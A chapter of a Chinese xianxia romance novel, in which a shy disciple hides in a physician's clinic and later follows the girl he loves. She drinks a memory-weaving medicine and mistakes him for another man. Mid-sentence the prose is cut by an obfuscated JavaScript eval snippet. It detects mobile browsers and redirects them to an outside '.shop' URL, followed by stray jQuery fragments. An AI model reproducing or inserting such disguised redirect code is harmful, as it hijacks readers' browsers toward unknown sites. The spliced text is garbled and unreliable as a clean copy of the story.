山间的空气很是清爽,夜间的潮气汇聚成一颗颗晶莹的露珠,一股脑地将那些污秽全部冲刷个干净,一时间就连空气中都泛着淡淡的清香。
时间过得飞快,自从许尽欢等人从玉城回来,已经过了半月有余。
玉城一事由临天宗借天枢令广而告之,城中愿意自戕谢罪的人已被好生安葬,家人也连夜搬离了这座城,剩下的人顶着被家人谩骂的压力,与家人一同被压着前往落骨地度过余生。
五人虽然在此战中多多少少受了些伤,不过经过越医师的精心医治,也很快行动自如,健康得能再出去掀起血雨腥风。
一切又恢复了原先的平静……才怪!
临天医馆内。
越山柰支着下巴,好整以暇地盯着对面已经在医馆住了半个月,却依旧无精打采,一副蔫蔫小白菜的人,乐道:“所以说,你是因为许师妹她有喜欢的人,而你又不小心暴露了自己的心思,怕回扶光峰碰到她才一直赖在我这医馆不走的?”
徐舟野沉默着点点头。
要不是后面还要参加虚妄海试炼,他都想找个山洞闭关百年了。
见他如此,越山柰忍了又忍,终究是没忍住噗嗤一声笑出声来:“小野啊小野,你也有今天,平时拽天拽地不可一世,现在竟然因为被人戳破心思就害怕和人碰面,真是天道好轮回,苍天饶过谁噗哈哈哈哈……”
徐舟野:垂眸沉默中。
越山柰笑够了,又见人还是一副蔫了吧唧的模样,心中到底还是升起了几分怜悯之心,伸手在案桌上敲了敲,懒懒道:“说说吧,你要躲到什么时候去?不会要躲到虚妄海试炼开始吧?”
徐舟野抬眸:“不可以吗?”
越山柰啧了一声:“这不是废话吗?”
“我这是医馆,又不是收留所,哪能让你待这么多天,况且……”他一拍桌子,颇为恨铁不成钢地道:“你要知道,你是躲得了一时躲不了一世,在虚妄海试炼上你总要对上许师妹的,你总不能在试炼的时候遇上人就跑吧,那岂不是尴尬又丢脸?还有……”
越山柰本身就是个话匣子,此刻瞅着对面默不作声,但明显一字未进的倔驴更是匣子大开,越说越来劲,嘴皮子一张一合就是一段长篇大论,听着像是在念经。
徐舟野听得头疼,干脆捂着耳朵趴在了案桌上,闷声道:“你好吵。”
“我吵?你嫌我吵?”越山柰惊讶地瞪大了眼,只觉得自己一腔好心都被辜负,捂着胸口伤心道:“你知道我堂堂北境第一医师出诊一次要多少灵石吗?光是和你说话的这会儿功夫我都能赚套小院子回来了,你还嫌我吵,你真是——”
“请问越医师在吗?”一道声音忽然响起。
听到这个声音,趴在案桌上思考人生的徐舟野一个激灵,手忙脚乱地直起身,就见越山柰幸灾乐祸地做着口型:许师妹。
徐舟野立马双手合十祈求:别让她进来。
越山柰笑了,郑重点头:相信我。
徐舟野松了口气。
可下一秒。
还没把这口气松完的徐舟野就眼睁睁地看着越山柰这小子轻咳一声,接着就笑容满面,无比热情地朝门口扬声喊道:“在的,许师妹请进!”
许尽欢:“好的。”
徐舟野震惊得瞪大了眼,伴随着“吱呀”一声,门被推开,他的心也一瞬间提到了嗓子眼,顾不得给罪魁祸首越山柰来一下,他连忙敛息起身,猫着身子快速躲到后边的药房。
计谋得逞,越山柰简直是开心得要命,对上走近的少年时更是无比殷勤,乐颠颠道:“许师妹来啦,是有什么事吗?可以和我慢慢说,正好医馆最近有免费的全面诊察,你可要来试——”
忽然,药房内传来一声突兀的“咔嚓”声。
许尽欢循声看去:“这……”
越山柰摆摆手,淡定道:“没事的许师妹,我最近养了只老鼠。”
许尽欢:“……”
许尽欢:“好。”
接着越山柰又巴拉巴拉说了一通,末了犹嫌不够,还忍不住笑着露出一口白花花的牙齿,活像地主家的傻儿子:“许师妹要不要来一套诊察啊?正好防患于未然嘛。”
许尽欢:“……”有种便宜没好货的感觉。
她轻咳两声,尽力让自己忽视越山柰那笑成一朵花的脸,快速说明自己的来意:“多谢越医师关心,不过不用了,我这次前来,是想问问越医师这边是否还有游仙醉?”
“游仙醉?”越山柰正经了些:“有是有,但是,你要它做什么?”
闻言,藏在药房的徐舟野忍不住竖起耳朵,心中也有些疑惑。
这游仙醉听起来像是酒,实际上却是一种苦到堪比黄连的药,能将饮用者记忆深处的回忆挖出来,借此编织幻境,专治梦魇。他从前梦魇的时候就喝过一些,不过却也不能多喝,否则早晚陷入幻境中分不出现实和虚幻。
所以,许尽欢她要游仙醉做什么?
徐舟野的耳朵竖得更高了。
只听外面的许尽欢沉默一瞬,道:“我近日有些失眠心悸,所以……”
她话音一顿,似乎有些为难,也不再言语,只是默默看着越山柰。
四目相对,越山柰了然。
所以是想借游仙醉给自己编织一场幻境嘛。好说。
他道了声“稍等”,随后利落起身转到药房,在徐舟野分外好奇的目光中从架子上拿下一坛游仙醉,又在徐舟野分外不舍的目光中走出药房,将这坛游仙醉递给许尽欢:“这坛有些苦,但效果还不错,不过不要多饮,分三次为最佳。”
“谢谢。”许尽欢接过,又从乾坤囊中摸出几块灵石放下:“那我便告辞了。”
越山柰礼貌颔首:“慢走。”
许尽欢前脚走出医馆,猫在药房的徐舟野后脚就从里面窜了出来,迫不及待地将越山柰一把按在椅子上,拿出公堂会审的气势问道:“她怎么了?面色如何?梦魇很严重吗?怎么就要喝游仙醉了?你作为医师怎么不帮忙诊诊脉?”
越山柰懒懒抬眼,故意卖关子:“想知道?”
徐舟野点头:“嗯嗯。”
“就不告诉你。”越山柰一个扭身从椅子上溜下去,顶着徐舟野如有实质的目光再次发起挑衅:“你要是想知道,自己去看看不就行了?嘴巴长着就光吃饭了?”
“……”
“反正我不告诉你,想知道,自己去看。”
“……”
“不会是不敢吧?”
“……”
“啧啧啧,怂,太怂了。”
*
傍晚,扶光峰。
霞光满天,夜幕将至。
觅食归来的鸟儿扑扇着翅膀重归山间,藏在草丛里的小虫也跟着小声鸣叫。茂密的枝叶相互摩擦,簌簌而动,带下一大片本就松松地挂在枝头的老叶,飘飘摇摇地在空中打着卷落下……
一切都很安宁。
除了某个由北境第一医师越山柰亲自命名的怂包之王则是做贼似的蹲在一颗树上。当然,是许尽欢院子外的树。
为了遮掩自己,徐舟野还特地折了两丛枝子顶在头上,一眼望去,隐蔽又……滑稽。
距离上午与越山柰一别,他已经在这蹲了快半天,而他此行,不为什么,只为远远地看一眼许尽欢,虽然许尽欢一直没露面就是了。
许是蹲得太久脚麻,徐舟野动了动,顺便在心里谴责自己的行为实在妄为君子。
忽然。
“吱呀”一声。
紧闭许久的院门被人打开,许尽欢走了出来。
徐舟野心一惊,连忙将自己往树干后又藏了藏,只探出半张脸观察往远处走的许尽欢,过了一会儿,见她没有转头的意思,徐舟野胆子大了些,干脆敛息一步一步跟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17669147|204275||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在人身后。
而许尽欢竟也真的没注意到自己身后还有一个人,就这样,徐舟野一路跟着许尽欢来到一棵茂盛的菩提树下。
许尽欢上了树。
见状,徐舟野也准备随便找棵树上去。
却不想他正要上树时,一片树叶从上空落下,不偏不倚地砸在他脸上,紧接着,许尽欢的声音从上传来:“你不能上树。”
徐舟野闻声身子一僵,脸瞬间就红了个透,抬眸正想解释什么,却直直撞入一双像是醉了,明显很是迷蒙的眼中。
他一愣,接着小心试探道:“为什么不能?”
许尽欢双手撑坐在树枝上,闻声蹙了蹙眉,面上也露出些女儿家的嗔怒,接着又抬手折了一片树叶丢下去,道:“因为我们初见时不是这样的,当时你背靠着树干坐在树下,我坐在树上,这么珍贵的回忆徐暮你竟然忘了!”
徐舟野愣了,然后悟了。
看样子应该是喝了游仙醉,进入幻境了。
既然如此,他有什么好怂的?
于是乎,徐舟野非常轻快得点地飞到许尽欢身旁坐下,先是认真看了眼她的面色,随后抬手捉住她的一只手腕认真把脉,很快,他松了口气,正准备松开手腕,却冷不丁地被人一推往树下坠去。
“都说了你应该在树下!”
徐舟野刚站稳便听到这么一句,险些气笑,抬眸对着树上气鼓鼓的姑娘道:“我凭什么要待在树下?”
许尽欢坐在树上晃着腿,歪头轻笑:“因为,你是我的道侣呀。”
霎时,风移影动,拨云见月。
树上姑娘的眼神真挚又热烈,树下少年默默别开眼:“我不是。”
他是徐舟野,一直都是,从来不是她喜欢的徐暮。
“为什么?”许尽欢歪着头想了想,可脑子却如同糊了一层浆糊想不出什么,索性从树下落下,把着徐舟野的肩膀踮脚凑近去看他。
高挺的鼻梁,利落的剑眉,漂亮的眼眸,微扬的唇角……这分明是和记忆中别无二致,让她喜欢得不得了的秾丽面容。
“你醉了。”距离太近,徐舟野不得不一手握拳隔在两人之间,一手轻揽着身前姑娘的肩膀帮她站稳。
他觉得自己好像也醉了,理性和感性在脑中打架,理性告诉他他应该推开身前的醉鬼,可手却甘之如饴地任身前的醉鬼越贴越近。
他想:徐舟野,你真的很卑鄙。
明明知道她只是把你当成了另一个人,明明知道她此刻的情态也只属于另一个人,明明知道她不喜欢你……
你什么时候变成这样了?徐舟野忍不住在心里质问自己。
醉鬼还在胡闹。她的手指一点一点拂过他的眉骨,拂过他的鼻梁,再到他的唇角停住,停顿一会儿后,她又忽地笑了,带着几分故意扑在少年身上,按着少年的唇角轻笑:“你是小猫吗?”
“嗯?”
“脾气这么不好讨人厌,性格幼稚嘴又毒,有时候却又很心软。”许尽欢又踮脚凑近了些,眼睛亮晶晶地盯着徐舟野:“像猫猫一样。”
徐舟野脱口道:“那你能喜——”
话语未尽,他的眼睛忽然被人抬手捂上。
游仙醉的香气扑鼻而来。
伴随着夜晚的虫鸣,一点温热轻轻印在脸侧。
时间被拉得无限长,黑暗中,有人睁大了眼,长睫剧烈颤动,一下下地扫在女子的掌心,带来一阵阵的痒意,在游仙醉的香气中,他咽了咽喉咙。
树枝晃动,月光挥洒,映出地上交叠的影子。
一触即分。
遮在眼前的手放下,温热的呼吸从脸上移开,徐舟野第一眼便看见女子微红的面颊,她抿着唇,唇角矜持又得意地弯起:
“我的。”
“你是我的漂亮猫猫。”
不对,你才是漂亮猫猫。徐舟野在心里轻声反驳。